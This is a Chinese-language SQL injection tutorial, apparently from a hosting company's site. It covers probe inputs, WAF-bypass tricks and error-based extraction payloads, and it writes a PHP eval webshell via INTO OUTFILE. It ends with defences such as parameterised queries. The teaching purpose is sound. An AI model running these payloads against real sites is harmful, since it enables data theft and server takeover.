您好,登錄后才能下訂單哦!
SQL注入該如何理解,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。
SQL是什么?
結構化查詢語?(Structured Query Language ,SQL),是?種特殊的編程語?,?于數據庫的標準數據查詢。1986 年10 ?美國國家標準協會對SQL 進?了規范后,以此作為關系型數據庫系統的標準語?。1987 年得到了國際標準組織的?持,成為了國際標準。
SQL注入是服務端未嚴格校驗客戶端發送的數據,而導致服務端SQL語句被惡意修改并成功執行的行為
SQL 注?的攻擊?為可以描述為通過?戶可控參數中注?SQL 語法,破壞原有SQL 結構,達到編寫程序時意料之外結果的攻擊?為。其成因可以歸結為以下兩個原因疊加造成的。
程序員在處理程序和數據庫交互時,使?字符串拼接的?式構造SQL 語句
未對?戶可控參數進??夠的過濾,便將參數內容拼接到SQL 語句中
用戶能夠控制輸入
是對于輸入檢查不充分,導致SQL語句將用戶提交的非法數據當作語句的一部分來執行
代碼對帶入SQL語句的參數過濾不嚴格
未啟用框架的安全配置,例如:PHP的magic_quotes_gpc
未使用框架安全的查詢方法
測試接口沒有刪除
未啟用防火墻
未使用其他的安全防護設備
根據SQL 注?漏洞的原理,?戶“可控參數”中注?SQL 與發,也就是說Web 應?獲取?戶輸?的地?,只要帶?數據庫查詢,都有存在SQL 注?的可能,這些地?通常包括:
GET 數據
POST 數據
Cookie 數據
HTTP 頭部(HTTP 頭部中的其他字段)
數據庫信息泄漏、獲取、修改敏感數據:數據庫中存放的用戶的隱私信息(帳號、密碼)的泄露
繞過登錄驗證:使用萬能密碼登錄網站后臺等
文件系統操作:列目錄,讀取、寫入文件等
網頁篡改:通過操作數據庫對特定網頁進行篡改,嵌入網馬鏈接,進行掛馬攻擊
注冊表操作:讀取、寫入、刪除注冊表等
執行系統命令:遠程執行命令
服務器被遠程控制、種植木馬:黑客可以修改或控制操作系統
提交方法有:get、post、cookie、request等
其中:request支持度較好,你把參數以get方式、post方式、cookie方式提交都是可以的
會在疑似注?點的地?或者參數后?嘗試提交數據,從而進?判斷是否存在SQL 注?漏洞。
測試數據 | 測試判斷 | 攻擊思路 |
---|---|---|
-1或+1 | 是否能夠回顯上?個或者下?個頁面(判斷是否有回顯) | 聯合注入 |
' 或" | 是否顯示數據庫錯誤信息;回顯的頁面是否不同(字符型還是數字型) | 報錯注入 |
and 1=1 或者 and 1=2 | 回顯的頁面是否不同(判斷頁面是否有布爾類型的狀態) | 布爾盲注 |
and sleep(5) | 判斷頁面的返回時間 | 延時注入 |
\ | 判斷轉義 | |
注意:如果你對著一個網站測試的時候,出現404,或者頁面跳轉,說明網站有防護
如下圖,一般來說,id之類的參數后面跟的是數字型(也有可能是字符型),別的參數后面跟的是字符型
大小寫繞過
雙寫關鍵字繞過
特殊編碼繞過
如果有些字符串確實被限制的很嚴格,我們可以嘗試一些編碼繞過。
如URLEncode編碼,ASCII、HEX、unicode編碼繞過:
or 1=1即%6f%72%20%31%3d%31,
Test也可以為CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)
空格過濾繞過
過濾函數繞過
sleep() ——> benchmark()
substr()、substring()、mid()可以相互替換
user() ——> @@user() 、datadir ——> @@datadir
ord() ——> ascii() :這兩個函數在處理英文時效果一樣,但處理中文時效果不一樣
ascii ——> hex()、bin():替代之后再使用對應的進制轉string即可
group_concat() ——> concat_ws()
內聯注釋繞過/*!...*/
在MySQL里,/**/是多行注釋,這個是SQL的標準,但是MySQL擴張了解釋的功能,如果在開頭的的/*后頭加了感嘆號/*!50001sleep(3)*/
,那么此注釋里的語句將被執行。
/*!50001 select * from test */;
這里的50001表示假如 數據庫是5.00.01以上版本,該語句才會被執行,對于有些waf我們可以通過這種方式進行繞過。
路徑常見獲取方法:
報錯顯示
遺留文件
別用百度,用谷歌搜索inurl:phpinfo.php
漏洞報錯、平臺配置文件、爆破等
可以利用SQL 注入漏洞進行文件讀寫。
利用的前提條件:
這里涉及到1個變量secure_file_priv
,該參數在高版本的 mysql 數據庫中限制了文件的導入導出操作。若要配置此參數,需要修改 my.ini 配置文件,并重啟 mysql 服務【其在Phpstudy中默認是NULL,不允許讀寫文件】
參數 | 含義 |
---|---|
secure_file_priv=NULL | 限制mysqld 不允許導入導出操作 |
secure_file_priv=‘c:/a/’ | 會限制mysqld 的導入導出操作在某個固定目錄下,并且子目錄有效 |
secure_file_priv= | 不對mysqld 的導入導出操作做限制 |
修改配置文件,對讀寫不做限制,文件路徑C:\phpStudy\MySQL\my.ini
,該操作比較敏感,需要在mysql的配置文件中操作,在phpmyadmin網頁中不能修改
獲知當前用戶和主機名
?id=-1'union select 1,current_user(),3 --+
查看有無權限
?id=-1' union select 1,File_priv,3 from mysql.user where user="root" and host="localhost"--+
方法2:
select File_priv from mysql.user where user="root" and host="localhost";
讀取文件,使用 load_file
下面兩種方法一樣
?id=1' and 1=2 union select 1,load_file('c:\\windows\\system32\\drivers\\etc\\hosts'),3 --+ ?id=1' and 1=2 union select 1,load_file('c:/windows/system32/drivers/etc/hosts'),3 --+
寫入文件,使用 into_outfile
這里需要注意,寫16進制是直接寫,寫明文的話,需要用引號給包住
寫phpinfo,沒有報錯就說明寫入成功,可以直接訪問寫入的文件地址
# 1. 直接寫 ?id=-1' union select 1,'<?php phpinfo();?>',3 into outfile 'c:\\phpstudy\\www\\hack.php'--+ # 2. 改寫成16進制 ?id=1' and 1=2 union select 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile 'c:/phpstudy/www/hack.php' --+
寫一句話木馬
# 1. 直接寫 ?id=1' and 1=2 union select 1,'<?=@eval($_REQUEST[404])?>',3 into outfile 'c:/phpstudy/www/hack1.php' --+ # 2. 改寫成16進制 ?id=1' and 1=2 union select 1,0x3c3f3d406576616c28245f524551554553545b3430345d293f3e,3 into outfile 'c:/phpstudy/www/hack1.php' --+
在進行SQL注入時,有很多注入會出現無回顯的情況,其中不回顯的原因可能是SQL語句查詢方式的問題導致,這個時候我們需要用到相關的報錯或盲注進行后續操作,同時作為手工注入,提前了解或預知其SQL語句的大概寫法也能更好的選擇對應的注入語句。
更詳細的介紹,請參見下一篇文章 《SQL注入的常見方式》
重點理解:我們可以通過下面的查詢方式和網站應用的關系、注入點產生地方、應用猜測到對方的SQL查詢方式
查詢方法舉例說明
select:查詢數據在網站應用中進行數據顯示查詢操作
舉例:select * from news where id=$id
insert:插入數據在網站應用中進行用戶注冊添加等操作
舉例:insert into news(id,url,text) values(2,'x','$t')
delete:刪除數據后臺管理里面刪除文章刪除用戶等操作
舉例:delete from news where id=$id
update更新數據會員或后臺中心數據同步或緩存等操作
舉例:update user set pwd='$p' where id=2 and username='admin'
order by排序數據一般結合表名或列名進行數據排序操作
舉例:select * from news order by $id
舉例:select id,name,price from news order by $order
盲注就是在注入過程中,獲取的數據不能回顯至前端頁面。此時,我們需要利用一些方法進行判斷或者嘗試。
這個過程稱之為盲注。我們可以知道盲注分為以下三類:
基于布爾的SQL盲注-邏輯判斷(不回顯)
regexp,like,ascii,left,ord,mid
基于時間的SQ盲注-延時判斷(不回顯)
if,sleep
基于報錯的SQL盲注-(強制)報錯回顯
floor,updatexml,extractvalue
報錯模板:https://www.jianshu.com/p/bc35f8dd4f7c
floor()
floor(x),返回小于或等于x的最大整數。
payload:select conut(*),(concat(database(),rand(0)*2))x from infromation_schema.tables group by x;
x表示concat(database(),rand(0)*2),rand(0)以0為隨機種子產生0-1之間的隨機數,*2產生0-2之間的隨機數。
報錯原因:主鍵重復,必需:count()、rand()、group by
分析鏈接:https://xz.aliyun.com/t/253#toc-2
exp()
exp(x)返回e^x。
當x的值足夠大的時候就會導致函數的結果數據類型溢出,也就會因此報錯
payload:id =1 and EXP(~(SELECT * from(select user())a))
updatexml()
利用的就是mysql函數參數格式錯誤進行報錯注入。
updatexml()函數語法:updatexml(XML_document,Xpath_string,new_value);
函數語法解析:
XML_document:是字符串String格式,為XML文檔對象名稱
Xpath_string:Xpath格式的字符串
new_value:string格式,替換查找到的符合條件的數據
適用版本是:5.1.5+
利用方式:在執行兩個函數時,如果出現xml文件路徑錯誤,就會產生報錯 那么我們就需要構造Xpath_string格式錯誤,也就是我們將Xpath_string的值傳遞成不符合格式的參數,mysql就會報錯
extractvalue()
利用的原理是xpath格式不符報錯注入。
函數語法:extractvalue(XML_document,XPath_string)
適用的版本:5.1.5+
1. 獲取當前是數據庫名稱及使用mysql數據庫的版本信息: and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) 2. 獲取當前注入點的用戶權限信息及操作系統版本信息: and extractvalue(1,concat(0x7e,@@version_compile_os,0x7e,user(),0x7e)) 3. 獲取當前位置所用數據庫的位置: and extractvalue(1,concat(0x7e,@@datadir,0x7e)) 4. 獲取數據表信息: and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) 5. 獲取users數據表的列名信息: and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) 6. 獲取對應的列名的信息(username\password): and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e))
二次注入漏洞是一種在Web應用程序中廣泛存在的安全漏洞形式。相對于一次注入漏洞而言,二次注入漏洞更難以被發現,但是它卻具有與一次注入攻擊漏洞相同的攻擊威力。
二次注入的原理:在第一次進行數據庫插入數據的時候,僅僅只是使用了 addslashes
或者是借助 get_magic_quotes_gpc
對其中的特殊字符進行了轉義,但是addslashes
有一個特點就是雖然參數在過濾后會添加\
進行轉義,但是\
并不會插入到數據庫中,在寫入數據庫的時候還是保留了原來的數據。
在將數據存入到了數據庫中之后,開發者就認為數據是可信的。在下一次進行需要進行查詢的時候,直接從數據庫中取出了臟數據,沒有進行進一步的檢驗和處理,這樣就會造成SQL的二次注入。比如在第一次插入數據的時候,數據中帶有單引號,直接插入到了數據庫中;然后在下一次使用中在拼湊的過程中,就形成了二次注入。
插入惡意數據
第一次進行數據庫插入數據的時候,僅僅對其中的特殊字符進行了轉義,在寫入數據庫的時候還是保留了原來的數據,但是數據本身包含惡意內容
引用惡意數據
這里使用的是sql-libs靶場的第24關
首先看一下最開始的時候,靶機的數據庫是什么樣子的,這里以其中的用戶dhakkan來演示
注冊一個新用戶
注冊了一個新用戶之后的數據庫如下
新用戶登錄,并重置密碼
查看數據庫,有意思的事情發生了,dhakkan的密碼改變了,但是新用戶的密碼沒有改變
在第24關的源代碼中,可以看到原因,如下圖
堆疊注入(Stacked injections),從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令行中,每一條語句結尾加 ;
表示語句結束。這樣我們就想到了是不是可以多句一起使用。于是出現了堆疊注入(又稱堆疊查詢)
注意事項:
堆疊注入的使用條件十分有限,其可能受到API或者數據庫引擎,又或者權限的限制只有當調用數據庫函數支持執行多條sql語句時才能夠使用,利用mysqli_multi_query()函數就支持多條sql語句同時執行,但實際情況中,如PHP為了防止sql注入機制,往往使用調用數據庫的函數是mysqli_ query()函數,其只能執行一條語句,分號后面的內容將不會被執行,所以可以說堆疊注入的使用條件十分有限,一旦能夠被使用,將可能對網站造成十分大的威脅
DNSlog 就是存儲在 DNS Server 上的域名信息,它記錄著用戶對域名 www.baidu.com 等的訪問信息,類似日志文件。更多操作參見淺析DNSlog在滲透測試中的實戰技巧
MySQL、SQLServer、Oracle、PostgreSQL、Access五種數據庫應該是目前市面上最流行的數據庫了。我們進行滲透測試,碰到最多的也是這幾種數據庫。本文就這幾種數據庫在注入時的相同點和不同的做一下統計。
MySQL | SQLServer | Oracle | PostgreSQL | Access | |
---|---|---|---|---|---|
單行注釋 | # | -- | -- | -- | 無 |
多行注釋 | /**/ | /**/ | /**/ | /**/ | 無 |
數據庫端口 | 3306 | 1433 | 1521 | 5432 | 屬于文件型數據庫,所以不需要端口號 |
MySQL:數據文件:.myd
、索引文件:.MYI
、表定義文件:.frm
SQLServer:.mdf
Oracle:.dbf
和 .ora
PostgreSQL:無后綴名
Access:Office 2007之前是 .mdb
,Office 2007及之后是.accdb
MySQL: information_schema(Mysql5.0以上的版本)
SQLServer:sysobjects
Oracle:dual
PostgreSQL:
Access:msysobjects
MySQL
查詢當前用戶 select user(); select substring_index(user(), '@', 1) ; 查詢當前用戶的權限 select * from mysql.user where user = substring_index(user(), '@', 1) ;
SQLServer
判斷是否是SA權限select is_srvrolemember('sysadmin') 判斷是否是db_owner權限 select is_member('db_owner')判斷是否是public權限select is_srvrolemember('public')
Oracle
查看當前用戶select * from user_users;查看當前用戶擁有的角色 select * from session_roles;查看當前用戶擁有的權限select * from session_privs;
PostgreSQL
select user #查看用戶select current_user #查看當前用戶
ACCESS
Access數據庫是文件類型數據庫,沒有用戶和權限的概念
MySQL:select char(97)
SQLServer:select char(97)
Oracle:select chr(97) from dual
**PostgreSQL:select chr(97) **
**Access:select chr(97) **
select chr(97)&chr(100)&chr(109)&chr(105)&chr(110)
mssql
MySQL
oracle
在select數據時,我們往往需要將數據進行連接后進行回顯。很多的時候想將多個數據或者多行數據進行輸出的時候,需要使用字符串連接函數。在sqli中,常見的字符串連接函數有concat()
,group_concat()
,concat_ws()
。
本篇詳細講解以上三個函數。同時此處用mysql進行說明,其他類型數據庫請自行進行檢測。
不使用字符串連接函數時:
但是這里存在的一個問題是,當使用union聯合注入時,我們都知道,聯合注入要求前后兩個選擇的列數要相同,這里id,username是兩個列,當我們要一個列的時候,(當然不排除你先爆出id,再爆出username,分兩次的做法)該怎么辦?答案就是concat()
concat()
語法及使用特點:CONCAT(str1,str2,…)
返回結果為連接參數產生的字符串。如有任何一個參數為NULL ,則返回值為 NULL。可以有一個或多個參數。
示例如下:
使用方法:CONCAT_WS(separator,str1,str2,...)
CONCAT_WS()
代表 CONCAT With Separator ,是CONCAT()
的特殊形式。第一個參數是其它參數的分隔符。分隔符的位置放在要連接的兩個字符串之間。分隔符可以是一個字符串,也可以是其它參數。
注意:如果分隔符為 NULL,則結果為 NULL。函數會忽略任何分隔符參數后的 NULL 值。
這里以逗號分隔符為例,演示一下
基本查詢
mysql> select * from aa; +------+------+ | id| name | +------+------+ |1 | 10| |1 | 20| |1 | 20| |2 | 20| |3 | 200 | |3 | 500 | +------+------+ 6 rows in set (0.00 sec)
以id分組,把name字段的值打印在一行,逗號分隔(默認)
mysql> select id,group_concat(name) from aa group by id; +------+--------------------+ | id| group_concat(name) | +------+--------------------+ |1 | 10,20,20| |2 | 20 | |3 | 200,500| +------+--------------------+ 3 rows in set (0.00 sec)
以id分組,把name字段的值打印在一行,分號分隔
mysql> select id,group_concat(name separator ';') from aa group by id; +------+----------------------------------+ | id| group_concat(name separator ';') | +------+----------------------------------+ |1 | 10;20;20 | |2 | 20| |3 | 200;500 | +------+----------------------------------+ 3 rows in set (0.00 sec)
以id分組,把去冗余的name字段的值打印在一行,
逗號分隔
mysql> select id,group_concat(distinct name) from aa group by id; +------+-----------------------------+ | id| group_concat(distinct name) | +------+-----------------------------+ |1 | 10,20| |2 | 20 | |3 | 200,500 | +------+-----------------------------+ 3 rows in set (0.00 sec)
以id分組,把name字段的值打印在一行,逗號分隔,以name排倒序
mysql> select id,group_concat(name order by name desc) from aa group by id; +------+---------------------------------------+ | id| group_concat(name order by name desc) | +------+---------------------------------------+ |1 | 20,20,10 | |2 | 20| |3 | 500,200| +------+---------------------------------------+ 3 rows in set (0.00 sec)
數據庫結構:數據庫 —> 表名 —> 列名 —> 數據
演示如下:
查看MySQL數據庫中,包含了哪些數據庫
show database;
查看數據庫中有哪些表
use dvwa; # 選中dvwa數據庫 show tables; # 查看dvwa數據庫中有哪些表
查詢表中的內容
查看user表中的全部內容:select * from user;
以列的形式查看user表中的全部內容:select *from user\G;
查看表中的部分內容:select user,password from user;
減減空格 | "-- " | "–%20" | “–+” |
---|---|---|---|
# | “#” | "%23" | |
內聯注釋 | /* 被注釋掉的內容 */ | ||
數據庫中,符號.
代表下一級,如dvwa.user表示dvwa數據庫下的user表
推薦閱讀:SQL注入必備知識初級
1:mysql -uroot -proot登錄數據庫
2:show databases; 查看有哪些數據庫
3:use informatin_schema; 使用某數據庫
4:limit的用法
limit的使用格式是limit m,n
其中m是指記錄開始的位置,從0開始表示第一條記錄
n是指提取n條記錄
5:select 函數名; 查詢某內容
函數名有以下:
防御SQL注入的核心思想是對用戶輸入的數據進行嚴格的檢查,并且對數據庫的使用采用最小權限分配原則。目前SQL注入的防御手段有以下幾種:
內置過濾系統(本質是黑名單,很常見但是不推薦)
采用參數化查詢&預編譯(推薦)
強迫使用參數化語句。參數化的語句使用參數而不是將用戶輸入變量嵌入到SQL語句中。采用這種措施,可以杜絕大部分的SQL注入式攻擊
采用框架的安全寫法
例如Mybatis中使用#
可以防止SQL注入,$
并不能防止SQL注入
thinkphp使用數組方式將自動使用框架自帶的字段類型檢測防止注入、PDO驅動參數綁定、預處理等
Thinkphp框架的安全寫法 安全的替換寫法 $data=M('Member')->where(array('id'=>$_GET['id']))->find();//使用數組方式將自動使用框架自帶的字段類型檢測防止注入 $data=M('Member')->where(array('id'=>(int)$_GET['id']))->find();//類型約束 $data=M('Member')->where('id='.intval($_GET['id']))->find();//類型轉換 $data=M('Member')->where(array('id'=>I('get.id','','intval')))->find();//$data=M('Member')- >where(array('id'=>':id'))->bind(':id',I('get.id'))->select();//PDO驅動可以使用參數綁定 $data=M('Member')->where("id=%d",array($_GET['id']))->find();//預處理機制 //不安全的寫法舉例 $_GET['id']=8;//希望得到的是正整數 $data=M()->query('SELECT * FROM `member` WHERE id='.$_GET['id']);//執行的SQL語句 $_GET['id']='8 UNION SELECT * FROM `member`';;//隱患:構造畸形語句進行注入;
主要包括:
最小權限原則,禁止將任何高權限帳戶(例如sa、dba、root等)用于應用程序數據庫訪問。更安全的方法是單獨為應用創建有限訪問帳戶。
禁用敏感函數拒絕用戶訪問敏感的系統存儲過程,如xp_dirtree、xp_cmdshell、into_outfile 等
網站與數據層的編碼統一,建議全部使用UTF-8編碼,避免因上下層編碼不一致導致一些過濾模型被繞過,比如寬字節注入等。
限制用戶所能夠訪問的數據庫表
例如,避免網站顯示SQL執行出錯信息,防止攻擊者使用基于錯誤的方式進行注入;每個數據層編碼統一,防止過濾模型被繞過等。使用WAF。
看完上述內容,你們掌握SQL注入該如何理解的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。